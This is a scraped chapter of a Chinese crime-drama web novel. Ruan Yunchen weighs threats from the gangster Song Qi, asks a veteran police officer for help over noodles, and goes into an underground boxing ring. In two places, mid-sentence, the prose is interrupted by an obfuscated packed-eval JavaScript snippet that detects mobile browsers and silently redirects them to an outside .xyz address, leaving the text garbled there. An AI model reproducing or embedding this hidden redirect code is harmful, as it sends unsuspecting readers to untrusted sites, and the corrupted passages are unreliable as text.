宋祈的手段从来不只是简单的威胁,他的每一次出招,都像是在编织一张无形的网,将她一步步拖回他的控制范围。 这次呢?这一次是为了什么? 思绪盘旋着,脑海中闪过那两个不请自来,坐在沙发上抽烟的男人。 他们的话语是警告,态度却并不急切,像是有恃无恐。 而现在,这本被撕得残破不堪的书又被塞进门缝,直接指向了淼淼——这不是一次单纯的提醒。 是试探,更是宣告。 ——不管你怎么动,我都看着你。 阮云琛忽然觉得胸口发闷,像有某种看不见的力量在慢慢收紧她的气息。她知道宋祈在试探,但更知道这背后藏着更深一层的意图。 淼淼是她的软肋,宋祈对这一点心知肚明,而这次他动用这种小手段,是为了什么?巩固威胁?不,这不仅仅是为了巩固威胁,这是在向她释放一个信号—— “如果你打算反目,那就别忘了,我会先从她下手。” 这个想法一浮现,阮云琛的目光便冷了几分。 宋祈并没有察觉什么。 他只是在试探她的忠诚度。 这个念头划过心头时,阮云琛的指尖微微一滞,像是被某种冰冷的触感攫住。试探,是宋祈的习惯,也是他的武器。 他从不需要明确的证据,只需要她稍有异动,便能将所有可能性都收紧为一道绳索,把她死死困在掌控之中。 这次,他用最直接的方式向她传递了一个信号——“淼淼是她的软肋,而他有足够的时间和耐心去掐住它。” 这就是试探,也是威慑。 阮云琛轻轻吸了一口气,胸口像压了一块石头。宋祈的试探看似漫不经心,却是带着精确计算的。 他并没有察觉她的异心,但他察觉了她的沉默。他知道她有顾虑,而这样的顾虑,足以成为压迫她的砝码。 “忠诚。” 阮云琛几乎能听见宋祈的声音从字条背后传来,带着那种熟悉的、让人无法忽视的压迫感。他想知道她是否还在他布置的局中,是否还愿意遵从那套他亲手建立的规则。 但阮云琛却知道,这并不仅仅是试探。 宋祈的警告不仅是为了确认她的忠诚,更是为了提醒她,他的掌控力从未减弱——哪怕他现在身陷麻烦,他依旧能对她和她在乎的一切产生威胁。 “忠诚。” 这个词在脑海里翻滚,像某种隐形的锁链,将她的每一步都捆得更紧。 她知道,这是宋祈的惯用手段。但这一次,他低估了她,也低估了她的决心。 阮云琛睁开眼,目光沉了下去。她的手指轻轻滑过水槽边缘,灰烬的触感早已散去,取而代之的是某种无法言喻的冷硬。 灯光照在她的脸上,却照不进她眼底深处那一抹寒意。她从不怕威胁,但这一次,她不得不承认,淼淼被拖入了局中。 而她,没有退路了。 ——宋祈试探她的忠诚,她就给他一个答案。 不是他想要的那个答案。 灰烬随着水流消散,阮云琛站在水槽前,注视着空无一物的铁盒。屋内的安静仿佛将一切重新拉回到表面的平静,但她知道,那只不过是更大的风暴前的假象。 厨房的灯光将阮云琛的身影拉得纤长,她站在水槽前,目光垂落,仿佛整个世界都凝滞在那一点灰烬之上。 水流冲刷的声音细微而平静,却无法掩盖心底隐隐的喧嚣。 她的手指从铁盒边缘滑过,微凉的触感贴着掌心,像是某种无形的提醒。胸口的窒闷感一点点散去,但那种潜伏着的紧绷感却始终未曾消失。 身后传来一阵轻微的脚步声,几乎没有打破屋内的平静。 阮云琛没有回头,像是早已察觉。脚步在她身后不远的地方停下,随后是一阵短暂的静默。 “姐。” 阮秋的声音低而轻,带着他一贯的克制。 阮云琛缓缓转过头,目光落在他脸上。灯光落下来,将他半张脸笼在明暗交错之间。 阮秋已经长得很快,个头快要追上她了,但那股少年特有的青涩还没完全褪去,眉眼间却带着不属于他这个年纪的沉着。 他的眉头微微皱着,像是在权衡什么,嘴唇抿紧,欲言又止的模样让他看起来比平时更多了几分克制。 她没有问,只是看了他一会儿。目光短暂地停留在他微微攥起的手上,随后转回水槽,手指轻轻扣了扣铁盒的边缘,缓慢地调整着情绪。 “如果有一天,家里真的出事。”她的声音很轻,像是一片羽毛落在水面,却带着一种不容忽视的重量,“你先带淼淼走。” 阮秋的身体微不可察地僵了一下,眉间的皱痕更深。他的眼神不动声色地扫过她的脸,片刻后,低低地问了一句:“那你呢?” 阮云琛笑了笑,但那个笑容很淡,淡得像是风吹过水面,连一丝涟漪都没有留下。 “我会处理好。”她的声音平静得几乎让人心安,但在这样的安静中,却藏着一种令人窒息的冷硬。 阮秋站在原地,眉头微微皱起,像是想说什么,嘴唇动了动,却迟迟没有开口。片刻后,他终于低声问:“姐,有什么是我能帮得上忙的吗?” 阮云琛的目光从水槽移开,落到他脸上,眼神平静,却带着一丝探究,没有立刻回答。 这片刻的沉默让阮秋有些不安,他攥了攥手,试图掩饰自己的紧张:“……不管是什么事,只要我能做的。” 阮云琛看着他,像是在衡量什么。半晌,她轻轻点了点头:“有。” 这一个字像是一颗石子丢进了他心里,阮秋的眼睛一下亮了起来,眉宇间多了一丝松动的期待:“是什么?” 阮云琛没有回避,声音平静,却带着一种不容置疑的笃定:“帮我照顾好淼淼。” 他的笑容僵了一瞬,亮起的目光迅速黯淡下来。阮秋的喉结动了动,似乎想说点什么,但最终还是垂下了眼,轻轻点了点头。 “听我的。”阮云琛的语气一如既往的平静,但这平静里藏着某种深沉的笃定,“这是我唯一能给你们的保证。” 阮秋沉默片刻,再次点了点头。他转身离开时,脚步有些迟疑,却又带着他一贯的隐忍和克制。 屋内重新安静下来,只剩下水槽里残余的水声,和阮云琛微微绷紧的背影。 阮云琛注视着水槽里的铁盒,片刻后轻轻吸了一口气,将手指从边缘移开。 没有退路了。 ——这是她选的。 也是宋祈逼她选的。 “你说,如果有人收到威胁,但不敢报警,他们该怎么办?” 所以阮云琛这样开门见山地问起了眼前的男人。 棚户区的灯光稀疏,风在破旧的巷道间穿梭,卷起地上的灰尘,将几张被废弃的报纸刮得翻来覆去。 阮云琛站在一盏昏黄的路灯下,肩上的衣领被风掀起了一角,寒意贴着后颈一路往下钻。 她已经在这里站了很久了。 太阳落下又悄无声息地升起,昏暗的棚户区从白天的喧嚣归于寂静,再被夜色彻底吞没。 四周安静得只剩下风吹过门窗的声音,和偶尔从远处传来的几声猫叫。脚下的小石子被鞋底碾过,发出轻微的响动。 阮云琛低头看了一眼那颗石子,又抬起眼,望向巷子的深处。 黑暗像是一张吞噬一切的幕布,没有任何光亮能穿透,而她的影子孤零零地拖在路灯下,显得更加单薄。 手指冻得僵硬,她下意识地握了握拳,却发现已经没有任何温度可握住。 她的目光扫过棚户区破碎的轮廓,那些坑洼的地面和斑驳的墙壁,一切都带着一种压抑的陈旧感。 这里已经没有人会在这个时候出现......除了她在等的那个人。 风从巷子的尽头吹过来,带着更深一层的寒意。 就在这一刻,她听到了脚步声。 那脚步声缓缓从远处传来,节奏沉稳,不疾不徐。阮云琛抬起头,目光紧了紧。很快,一个高瘦的身影逐渐从黑暗中浮现出来。 他穿着一件深色的皮夹克,边缘的褶皱显得陈旧,用风吹雨淋磨砺出的质感。 下摆稍稍敞开,露出里面随意套着的灰色毛衣,袖口处有点脱线,看起来像是随手从什么地方抓起来穿的。 他嘴里叼着一支烟,橘色的火光在忽明忽暗间映出他略显疲惫的脸,胡子拉碴,眼窝微微凹陷,像是连日未休。 尽管昏黄的灯光没能完全照亮他的神情,但男人的目光却精准地落在路灯下的阮云琛身上,那目光沉而稳,透着几分警觉,又夹着某种不易察觉的关切。 廖致远停下脚步,站在几步之外,那半只烟夹在指间,烟头的光在夜色里明明灭灭。 他看着不远处站着的阮云琛,眉头轻轻皱了一下,接着又舒展了开,像是在衡量什么。 “没吃早饭?”他忽然开口,语气平淡得像是一句闲聊,目光扫过她瘦削的脸。 阮云琛怔了一下,显然没预料到这个问题。她抬头看了他一眼,嘴唇动了动,却没出声。 阮云琛愣了一下,似乎没能立刻接住这句话的意思。她的目光在他身上停了一瞬,随即低了下去,像是在权衡什么,却又带着点茫然的迟疑。 ——吃饭?他现在让她去吃饭? 她的脚尖在地上轻轻点了一下,仿佛想动,却又没动。手指无意识地拽了拽衣角,像是找不到可以让自己站稳的支点。 “……一起吗?”廖致远又问了一句,语气没有催促,只是轻描淡写地重复了一遍,像在递出某种看似随意却意味深长的提议。 阮云琛抬起头,嘴唇动了一下,没有回答,只是看着他,像是在试图从他的表情里读出点别的意思。但那双眼睛藏在昏黄灯光的阴影里,平静得像一片深水,看不出起伏。 几秒钟的沉默过去,她终于轻轻点了点头。 “好。” 她的脚步慢慢跟上,鞋底踩过街道上的细碎石子,发出轻微的声响。风从两人之间穿过,寒意像一层薄雾笼罩着这个破旧的棚户区。 阮云琛跟在廖致远身后,目光落在他略显随意的步伐上,心里却一片乱麻。 ——她没想到会是这样的开始。 廖致远的话像是故意打乱了她的节奏,将那些精心准备好的措辞和计划一并抛进了风里。 ……这算什么?试探?还是一种让人难以拒绝的温情? 廖致远的步伐没有停下,烟头的光在夜色中一闪一灭。他像是对这一切毫无察觉,却又带着某种无法捉摸的意味。 清晨的风带着潮湿和凉意,廖致远侧身看了阮云琛一眼,语气听不出什么情绪:“之前的外套,拿回去了吗?” 话来的毫无征兆,轻飘飘地落在清晨的空气里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15053508|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 阮云琛的动作顿了一瞬,手指无意识地绕紧了围巾的尾端,呼吸稍稍凝住。心里像是有根细线被突然拉动,绷得很紧。思绪一瞬间翻转起来,飞快地计算这句话背后可能隐藏的意图。 可......对啊。 廖致远不可能真的没猜到那天送磁带的是她。一个老警察,怀疑是他的本能。但他也没有戳破——这更让人无法放松。 阮云琛没有立刻回答,而是低头整理了一下围巾,仿佛那是她现在唯一需要关心的事情。过了两秒,她才慢慢开口,声音平静得像是没起过波澜:“拿回去了。” 廖致远注视着她的动作,眼神带着些许揣测。他抬手弹了弹烟灰,烟头的橘光在冷风中忽明忽暗:“那就好。外头冷,别着了凉。” 他说得轻描淡写,语气听不出深意,像是真关心,又像是随口试探。随后,他推开了面馆的门,抬脚走了进去。 即便外头亮着,面馆里也开着暖黄的灯光。灯光洒满了狭窄的空间,墙壁上贴着泛黄的老式菜单,玻璃窗因内外温差蒙上一层朦胧的水汽。 厨房后方传来碗筷的碰撞声,伴随着热水沸腾的咕噜声,还有老板懒散的吆喝:“两碗馄饨面,稍等啊!” 廖致远站在柜台前,熟练地点了两碗面。 阮云琛站在他身后,没有靠得太近,双手自然垂在身侧,却微微蜷起。她的目光没有在菜单上停留,而是警觉地扫过四周,落在几张简陋的木桌和零散的客人身上。 热气从厨房里升起,氤氲着整个屋子,馄饨的香气混着酱油和葱花的味道,扑面而来。这是平凡生活里最普通的烟火气,却让阮云琛不由得心里一紧。 这种烟火气对她来说,是遥不可及的东西。 “坐吧。”廖致远的声音淡淡地响起,打断了她的思绪。他抬了抬下巴,示意她去角落的一张桌子上。 阮云琛没有立刻动。 她的目光短暂地停留在廖致远身上,随即垂下眼,抿了抿唇,走向那张桌子。木椅在她拉开时发出一声轻微的响动,她坐下时,肩背依旧挺得笔直,像是一根随时绷紧的弦。 她的余光注意到廖致远站在柜台前,点了一根烟,神色闲散,但目光偶尔会扫过她这边。那种若即若离的审视感,让她原本打算好的话语又卡在喉咙里。 桌上摆着一瓶酱醋,瓶身有些油腻,角落里搁着一叠纸巾。 这样的细节再普通不过,但阮云琛却无意识地伸手捏住了一张纸巾,慢慢折叠成一个小方块。指尖触到纸巾粗糙的边缘时,她的思绪被拉回到现实。 廖致远端着两碗冒着热气的馄饨面走过来,将一碗放在她面前,坐下时,椅子轻轻吱了一声。他抬起筷子,夹起一块馄饨,随口说道:“趁热吃吧。” 阮云琛没有动。 她的目光落在面碗里,热气扑到她脸上,却没让她觉得安心。 她的手放在桌下,掌心里微微发凉。 对面的廖致远已经开始吃了,他夹起一块馄饨,呼噜噜地吸进嘴里,伴随着碗筷碰撞的声音,打破了周围短暂的安静。屋外的寒风拂过窗户,将玻璃上的水汽晕开了一小片。 阮云琛垂着眼,视线落在馄饨上,却像是穿过了那片热气,飘向某个更远的地方。她心里酝酿了无数次的话,此刻却像被一道无形的屏障堵住,卡在喉咙口,无法开口。 廖致远没有急着催促。他吃得很慢,动作随意,却带着一种说不清的节奏感,仿佛整个屋子里的空气都随着他的动作一点点流动起来。 他的目光偶尔掠过阮云琛,却像是在看窗外的风景。 “想好了再说。”他的声音突然响起,语气依旧是那种漫不经心的调子,但夹杂着某种让人无法忽视的锐利。 阮云琛抬眼看了他一瞬,又迅速移开视线,目光落回面碗里。她心里酝酿了无数次的话,却像是被这热气蒸散了一样,脑海中一片空白。 她怔愣了片刻,脑海里的计划像一张刚铺开的地图,却突然找不到入口。她的手指无意识地在膝头轻轻扣了两下,又悄悄收紧,似乎试图找到一点支撑。 廖致远的筷子搁在碗沿,微微倾身,将手伸向她的面前。阮云琛的身体条件反射般一僵,肩膀轻轻缩了一下,像被什么刺了一下。 动作太轻,但廖致远还是捕捉到了。 他的动作顿了顿,目光在她脸上停了一瞬,没有多说什么,只是放缓了手上的动作,将酱醋从她面前拿走。 “那就先吃吧。”他的声音平静,像是一句不痛不痒的建议。 话音刚落,他便将酱醋倒进自己的面碗里,半瓶子下去,汤底的颜色瞬间深了一层。他搅了搅,呼噜噜地吸了一口面条,才不紧不慢地接了一句:“吃完了再想也不迟。” 阮云琛微微垂下眼,表情在灯光下显得不够清晰。 她没有马上动筷子,只是盯着面碗的热气发了几秒的呆,指尖在碗沿上轻轻碰了一下。 廖致远像是什么都没看见,只顾低头吃面,偶尔吸面时发出的声响在静谧的面馆里显得格外鲜明。 他的目光虽然落在碗里,却带着某种若有若无的关注,像是随时在等她开口,又像是完全不在意她开不开口。 阮云琛的呼吸慢慢放缓,眼神从那瓶酱醋挪回到自己的面碗。她抬起筷子,夹了一块馄饨,迟疑了一瞬才送进嘴里。 汤汁的咸香在味蕾上散开,却没能驱散她胸口隐隐的寒意。她的动作很慢,每一口都像是需要刻意调整呼吸才能咽下。 廖致远低头喝了一口汤,手肘轻轻撑在桌边,似乎随意地问了一句:“汤不够味儿?” 阮云琛摇了摇头,筷子在面碗里翻动了一下,挑起几根面条,却迟迟没有送到嘴边。 汤汁微微晃动,碗沿上的热气轻轻掠过她的脸颊,像一道若有若无的痕迹。她的喉结轻轻动了一下,似乎吞咽下了什么未出口的话。 廖致远搁下筷子,用纸巾抹了抹嘴,抬眼瞥了她一眼:“怎么了,面不合胃口?” 阮云琛摇了摇头,指尖却仍旧扣在筷子上,像是无意识地反复用力。她没有立刻回答,目光垂在面汤上,里头浮着几片葱花,热气升腾得模糊了她的神色。 一阵短暂的沉默里,廖致远点了一支烟,手指夹着烟卷轻轻敲了敲桌面,语气懒散却带着几分探寻:“你今天特意来找我,不是为了陪我吃顿早饭吧?” 这句话像是点燃了一根火苗,瞬间把她的情绪推向一个不可回避的出口。阮云琛的指尖微微一抖,碗里的筷子轻轻滑了一下,发出细不可闻的响声。 她吸了一口气,终于抬起头,目光直直地看向他:“如果有人收到威胁,但不敢报警,他们能怎么办?” 62. 庇护所 话一出口,阮云琛的肩膀轻轻垂了下去,像是压在胸口的石头被人移开了一块。她的嗓音虽然低,却在空气中荡开一圈涟漪,连她自己都能感觉到语调里的微弱颤抖。 她不知道这句话会带来什么,但至少说出口的那一刻,她松了一口气。那种紧绷已久的情绪终于有了一个出口,像积雪融化时的第一滴水声,轻微,却足够真实。 她抬眼看着廖致远,心里揣着一点说不清的期待和隐隐的不安。空气里没有人说话,只有窗外偶尔刮过的风声,在一片安静里显得格外清晰。 廖致远的目光微微一顿,烟头上的火光在清晨的微光中泛出一丝暗红,随后轻轻颤了一下。 他没有立刻回答,只是将烟灰弹在了桌边的小盘里,像是在衡量这句话背后的分量。 隔了会儿,他夹着烟的指尖微微一动,清晨的风从面馆敞开的门口钻进来,将烟雾吹散了一些。男人侧过脸,看着阮云琛,语气不重不轻:“你说的是‘有人’,还是‘你’?” 阮云琛的手指顿了一下,捏着筷子的力道稍稍紧了些,随即又恢复平稳。她低下头,眼睫掩住眼底的波动,夹起一块馄饨送进嘴里,动作依旧缓慢得像是在刻意拖延时间。 碗里的热气缭绕而上,在清晨的光线里散成一片朦胧,将她的表情遮得隐隐约约。她没有说话,嘴角微微绷着,每一口都咀嚼得更重,像是努力将某种无形的情绪强行压下去。 空气里只剩下筷子轻触碗沿的声音,细碎而单调。廖致远抽了口烟,视线穿过烟雾落在她身上,没有出声催促,像是在等一个更完整的答案。 片刻的安静像是无限延长。阮云琛终于开口,声音低得仿佛怕惊扰什么:“不是我。” 话是说出口了,但她心底却清楚地知道,这个答案不够稳。果然,廖致远夹着烟的手指停顿了一瞬,抬眼扫了她一眼,嘴角带了一点似笑非笑的弧度。 “不是你,那就是你认识的人了。”他说,语气平和得仿佛只是随口一提,但目光却像带着刺一样,轻轻扎了过来。 阮云琛没应声,仍旧低着头,专注地看着碗里的面。 蒸汽熏得她有点恍惚,手指下意识地绞了一下筷子。 “这种问题,”廖致远继续说道,语气轻描淡写,却步步紧逼,“要么是‘有人’,要么是‘没人’。你既然开了口,就该想好怎么回答。不然,谁知道是真的没答案,还是不想说答案?” 声音不高,像随意的絮语,却在面馆的寂静里落得分外清晰,带着一种不容忽视的重量。 阮云琛的动作停了停,指尖微不可察地颤了一下,随后又恢复了平稳。筷子在碗里轻轻碰了碰,发出一声微弱的撞击声。 “我……”她开了口,却发现声音像是被什么东西堵住了喉咙,话尾模糊得像未成形的字句。她的指关节略微泛白,筷子被握得太紧,像是她用力的出口。 廖致远的目光没有移开,像是在等,又像是在放任她沉默。他的手指轻轻弹了一下烟灰,烟雾散开,又迅速消失在空气里。 阮云琛的呼吸微微一滞,指尖攥紧了筷子,力道大到让她的手背泛起淡淡的青白色。她抬起眼,却没有看向对方,只是盯着桌上的碗,像是想从那一圈咸香的热气里找到一个出口。 时间像被拉长了。 她没说话,甚至连喉头的动作都没有,像是连辩解或解释的力气都失去了。 廖致远低头吸了一口烟,动作缓慢而随意,像是等待着一个注定不会出现的答案。最终,他忽然笑了一声:“行吧,不为难你了。” 他把烟摁灭在桌边的烟灰缸里,灰烬轻轻一响,像是某种隐约的结束信号。 “但有些事,”他的语气忽然变得有些严肃,带着一点不容置疑的分量,“别随便乱来。” 阮云琛微不可察地僵了一下。 她咬紧嘴唇,似乎想说什么,但最终还是选择了沉默。 “你还是个孩子。”廖致远的语气缓了几分,抬手敲了敲桌面,“别把事情搞得太复杂。能解决的事,早解决;解决不了的事……就找人帮忙。” 阮云琛的动作停了片刻。 她没有立刻抬头,像是没听清,又像是在确认刚刚听到的是否真实。桌上的筷子轻轻滑了一下,发出一声几不可闻的声响。 她以为这世上只有交易,每一句话背后都藏着意义和代价。可是廖致远的这句话……像是一点意外闯入的温度,打破了她早已习惯的秩序。 她迟疑地吸了口气,目光微微偏向他的方向,但又迅速转开,像是在小心翼翼地试探,又在下意识地躲避。 “……帮忙?”她的声音很低,听起来像是重复,又像是问话,带着一点不确定。 廖致远挑了挑眉,靠回椅背,目光像是漫不经心,却没从她身上移开。他没回答,只是摁灭了烟,灰烬轻轻一响,随着黄色的烟屁.股一起落进了烟灰缸里。 廖致远又点了一根,站起身,将椅子轻轻推回桌下。 他没有再看她,只是目光落在桌上的碗边,声音低而缓:“你不想报警,我懂。” 说着,他顿了下,侧头瞥了阮云琛一眼,声音带着一点若有若无的叹息:“但有些事,用不着你一个人去挡。” 他的声音听起来很随意,但字句间却带着某种不容忽视的分量:“有些地方,会更安全一些。” 阮云琛的手指微微绷紧。 她没有抬头,只是低低地应了一声,似乎连这声应答都经过了小心的权衡。 廖致远说着推开面馆的门,清晨的冷风扑了进来,将最后一丝汤面热气卷出门外。 门外的冷风灌进来,带着几分不容忽视的寒意。廖致远的脚步声停了片刻,他侧过身,目光落在店内,低声喊了一句:“不走吗?坐在那儿等发芽呢?” 他的语调听起来懒散又随意,却让阮云琛猛地回过神来。她抬起头,眼神有一瞬间的错愕,然后像是被催促的动作唤醒一般,低头抱起碗,咕嘟咕嘟地猛喝了两口汤,放下碗起了身。 街上的行人寥寥无几,寒风裹挟着清晨的凉意,像一只无形的手,轻轻拉扯着街角垂下的招牌。 远处传来拖车轮碾过地面的刺耳声,在空旷的清晨显得格外突兀。阮云琛站在门边,脚步顿了一下,没有跟上。 廖致远走得比阮云琛快一些,他的步伐带着一贯的随意。 阮云琛忽地停了下来。 她站在原地,手指轻轻捻着围巾的尾端,反复将布料绕过指节,放开,又绕过。寒意贴着衣角渗进皮肤,但她并没有停下自己的动作。 风从她身侧掠过,吹起一片纸屑,又迅速将它拍在地面上。阮云琛看了一眼那片纸屑,移开视线。 “我上次说的那个城西的集市,您会去逛逛吗?”她忽然问道。 阮云琛的声音不高,清晨的空气里却显得极为清晰。她迈开步子,脚下落在清晨的石板路上,带着一点迟疑和刻意的平稳。 廖致远的身影在前方停了下来,他侧头看向她,目光带着点隐约的揣测。 男人侧过头看了阮云琛一眼,眼底闪过一抹意味深长的神色。 他手里的那根烟又快要吸完了,廖致远顺手在旁边垃圾桶上碾灭了烟头,想了想,又点了一根。 阮云琛无意识地皱了皱眉。 廖致远的动作一顿,扯着嘴角苦笑了下,把打火机和烟都收进了口袋里。 他深深吸了一口气儿,像是在努力用清晨的水雾缓解自己的烟瘾,好一会儿,他才说:“嗯,听说是挺热闹的,到时候带几个朋友去见见世面吧。” 阮云琛微微抬起眼,随即又猛地低下头去,整理起了围巾。她的手指绕了两圈才慢慢收紧,隔了片刻,她语气平静地问了一句:“不知道那边的热闹……会热闹多久呢?” 廖致远将烟头碾在脚边的地面上,烟灰散落在路边的水渍中。他的目光依旧平静,带着一种审视的意味:“能热闹多久,还要看那边的摊子够不够多。” “摊子......”阮云琛低声重复了一遍,语气不带起伏,但目光微微闪了一下,“那够吗?” 廖致远垂下眼,似乎在思索。他掏出烟盒又抽出一支烟,慢悠悠地点燃,火光一闪,烟雾在冷风里散开。 “少了一点,”他说,语调随意得像在闲谈,“现在热闹的只是龙湖的集市,但想要吸引整个淮龙的人,那总得再添点东西。” 阮云琛的眉头几不可察地皱了一下,随即又放松下来。她低声问:“什么样的东西?” 廖致远轻轻吸了一口烟,目光扫向远处的街道,语气含糊:“让人不能走远的东西,得够重,够清楚。” “不能走远……”阮云琛低声重复,指尖稍稍收紧了一些。 片刻后,她抬起头,目光静静地落在他身上,语气平静却笃定:“摊子上的东西,想要清楚,就得让人摆出来。” 廖致远的目光终于回到阮云琛身上,眉间微微蹙起。他盯着她看了片刻,声音不紧不慢:“话说得轻巧,东西可不这么好找。” “也得看谁找。”阮云琛的声音低缓,但语气里的隐约决绝让空气变得有些凝滞。 廖致远微微一顿,随即抬起手,可抬起来时才发现自己并没有点新的烟。他滞了一瞬,又将手插回了皮夹克的口袋,声音比方才更低了些:“可别忘了,摊子能搭上,还能掀翻。” “我知道。”阮云琛说。 廖致远没有继续解释,只是轻轻哼了一声。他的神色带着一丝漫不经心,但眼底的光却藏着某种未明的深意。 他没有看阮云琛,目光落在远处街边的一个积水坑上,脚尖轻轻碰了碰,水面微微晃动,映出天幕的模糊倒影。 阮云琛站在原地,视线追随着他的动作。冷风掠过她的肩头,将围巾的边角吹得微微晃动,她抬手按了一下,力道很轻,像是试图掩盖某种无意识的局促。 沉默蔓延开,像一张看不见的网,将两人短暂地隔开。直到廖致远伸手弹了弹烟灰,打破了这片静谧,语气带着一种不容置疑的平淡:“这是你问题的答案,但没必要当成任务。” 阮云琛抬头快速瞥了他一眼,随即又收回了目光,轻轻点了点头:“我知道。” 廖致远的眉头几不可察地皱了一下,随即又松了开。他垂下眼看着地面,吐出一口烟后才慢慢说道:“有些事情,不是你这个年纪该碰的。” “可有些事情,别人没有机会去碰。”阮云琛抬起眼,目光里带着她这个年纪少有的冷静和锋利。 廖致远沉默了一瞬,目光从她脸上划过,最终低低叹了口气:“尽力而为,别做傻事。” 这句话说得轻描淡写,却带着一种深藏不露的关切。他的语气听起来像是无所谓,但眼神却没有离开她片刻,像是在暗中衡量着某些可能性。 阮云琛垂下眼,脚尖轻轻蹭过地上的一小块石子,声音低得像是随风飘散:“他们……会好吗?” 廖致远掸了掸烟灰,沉默了一会儿,像是在斟酌着什么。随后,他抬头看了看天色,轻声开口:“你们家楼下不常有人走动,邻里也都习惯各忙各的。这样倒好,安静些,少点意外。” 他说着,最后还是忍不住点上了烟,却微微背过了身——好像这样就能避开阮云琛的视线似的。 “听说那边有家脏面摊的炒面很好吃?”廖致远说,“待会儿我叫几个朋友去尝尝,顺便也给我带一份。” 阮云琛抬眼看着他,目光里带着一丝探询,像是在等待更明确的答案。 廖致远叹了口气,语气依旧淡淡的,却忽地开门见山了起来:“放心吧。只要有我在,不会出事。” 他说得很轻,却带着一股令人信服的平稳。他将烟头按灭在路边的铁箱上,低头看了她一眼,补充了一句:“但你自己也得留神。这种事,谁都帮不了你全程。” 阮云琛的手指轻轻捏紧了围巾的边角,呼吸微微放缓,像是卸下了一点点心头的石头。 她垂下眼,沉默了许久,随后才抬起头,轻声问道:“我还能在这里和你吃馄饨面吗?” 廖致远唇边浮现出一点若有若无的笑意,烟头在指尖的动作顿了一下:“随时。” 阮云琛又去了地下拳场。 拳场的铁门前还是那两个门卫,个个身材魁梧,脸上的神情冷淡且疏离。空气里弥漫着潮湿的霉味,巷子深处传来隐约的吆喝声和低沉的音乐。 “这么晚,送谁?”其中一个男人开口,声音低哑,带着一丝隐约的怀疑。 “没人。”阮云琛停住,语气平淡,“打拳。” “打拳?”另一个男人扫了她一眼,忽地嗤笑了声,“祁哥没给够零花钱?” 阮云琛没搭理他。 男人自觉没趣,只是对视了一眼,便让了道,推开了门缝。 铁门发出刺耳的“吱呀”声,灯光和嘈杂的声音瞬间从缝隙里溢了出来。 门后的通道漆黑而狭窄,热气与嘈杂声迎面扑来,夹杂着潮湿的霉味和令人不适的汗臭。 阮云琛没有多看他们,迈步走了进去。 身后的铁门“嘭”地一声关上,把外面的风声和巷口的昏黄灯光隔绝在了外头。门卫站在原地,交换了一下眼神,其中一个男人掏出了传呼机,拨了个号。 “祁哥,那丫头刚进来了,说是打拳。” 通话那头沉默了一瞬,随后传来一声含糊的应答,像是有人压低声音吩咐了几句。 “是,知道了。她脸上看不出什么不对劲儿。”男人说着,目光扫了一眼紧闭的铁门,又道,“要不还是盯着点?” 通话在短短几秒内结束,他收起传呼机,低声骂了一句,似乎觉得这通电话不过是例行的麻烦事。另一个男人挑了挑眉,低声问:“什么情况?” “没什么,祁哥只说‘知道了’。” 两人对视一眼,其中一个耸了耸肩,靠回门边,继续保持着惯有的懒散模样,像是什么都没发生过。 ——果然如此。 他们果然会给宋祈通气儿。 阮云琛站在拳场的阴影里,缓缓呼出一口气。 这一通电话,是她在意料之中的一步,却仍旧让她感到某种隐约的不适。 门卫不需要知道太多,他们只是按部就班地做着自己的事。但每一个通风报信的动作,都会像蛛丝一样延伸到更深处——宋祈、周铁山、以及那些她看不见的暗涌。 她闭了闭眼,指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056814|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尖轻轻摩挲着围巾的边缘。 ——没有回头路了。 阮云琛想。 三天前她借口“替铁山哥来的”,那些人没有半点动作,原因很简单——宋祈还没开始撒网。 他的人多,地盘广,一旦要动手清理,总得先盯紧一两个重点目标。而那时候,他的网还没有撒开。 事情发生转折,是在阮云琛发现了那张纸条之后——或者说,是在和安堂的部分娱乐场所将要被查抄之前。 阮淼淼书包里的那张纸条,无疑是宋祈在试探手下忠诚度的小把戏。 那种莫名其妙出现的威胁,既能敲打被威胁的人,又能通过反应摸清忠诚与否。宋祈的手段向来简单粗暴,却也有效。 紧跟着,和安堂的几个娱乐场所被接连查抄,连捎带手的外围势力也受到了冲击。 对宋祈来说,这无异于被人迎头砸了一砖,尽管他隐忍得像什么都没发生,阮云琛却清楚,这种打击会让他变得更加警惕。 ——从那一刻开始,他的每一条街、每一个场子,进出都得过明面暗地的层层筛查。 周铁山是个聪明人,宋祈手底下的骨干之一,可他也不是干净的。他 那点毒品交易的小动作,也许宋祈还没来得及完全掌握,但对于这种风声鹤唳的时刻来说,任何细小的裂缝都会成为目标。 而门卫...... 这些人不过是底层打工的,直属于周铁山,但周铁山本身却隶属于宋祈。 门卫不会知道毒品交易的内幕,他们的职责简单直接:看好拳场,不出乱子。可如果宋祈直接给了他们命令,他们大可以两边卖力,既不让周铁山吃亏,也不让自己被拖下水。 所以这电话拨出去给了宋祈,是早在阮云琛意料之中的事。 拳场的通道狭窄逼仄,像是地底的一条血管,灯光昏暗,墙壁上挂着几盏摇摇晃晃的白炽灯。 阮云琛顺着通道往前走,听着前方传来的喧哗声一点点变大,像一场渐渐逼近的风暴。 她的脚步很稳,身影在墙上拖出一道略显模糊的影子。铁门的声音早已被身后的寂静吞没,但那些对话却依旧清晰地盘旋在她的脑海里。 她不是第一次走进这个地方,也不是第一次成为宋祈撒网时的“鱼饵”。 门卫的电话,会给宋祈送去一个信号:她进了拳场。 